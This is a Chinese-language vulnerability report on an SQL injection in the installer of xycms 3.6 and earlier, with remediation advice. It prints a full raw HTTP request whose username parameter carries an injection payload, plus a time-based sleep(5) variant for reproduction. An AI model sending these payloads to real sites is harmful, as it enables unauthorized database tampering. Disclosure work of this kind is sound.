系统名称及影响版本:
xycms <= 3.6
漏洞接口:
POST /Install/index.php?step=3 HTTP/1.1Host: test.localhost.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 285Origin: http://test.localhost.comConnection: closeReferer: http://test.localhost.com/Install/index.php?step=3Cookie: PHPSESSID=nualsnqo6mao893dehmfbib7n6DB_HOST=127.0.0.1&DB_PORT=3306&DB_USER=root&DB_PWD=root&DB_NAME=xyhcms&DB_PREFIX=xyh_&WEB_NAME=%E6%88%91%E7%9A%84%E7%BD%91%E7%AB%99&WEB_URL=http%3A%2F%2Ftest.localhost.com&WEB_STYLE=default&username=admin'%2C''%2C''%2C9%2C''%2C''%2C0)--+&password=123456qq&email=123%4012.com&add_test=1
漏洞分析及复现:
- 漏洞源码位置/Install/index.php 第314行,$setting[‘username’]直接被拼接进sql语句中

2. 这个$setting[‘username’]来自与temp.php

3. 这个temp.php是由以下代码生成

4. 有上图可知,temp.php中存储的内容为post方式提交上来的内容,故$setting[‘username’]来自于post方式提交的username参数,该参数可控,且未经过任何过滤带入到sql语句中,导致sql注入漏洞。复现过程如下,进行程序安装,到第三步如下图:

5. 在用户名处输入内容admin’,’’,’’,9,’’,’’,0) and sleep(5)— 之后点击下一步安装成功。则插入的sql语句执行成功,在admin表中插入了自定义的内容。

修复建议:
- 对参数进行转义或过滤特殊符号
2. 启用参数化查询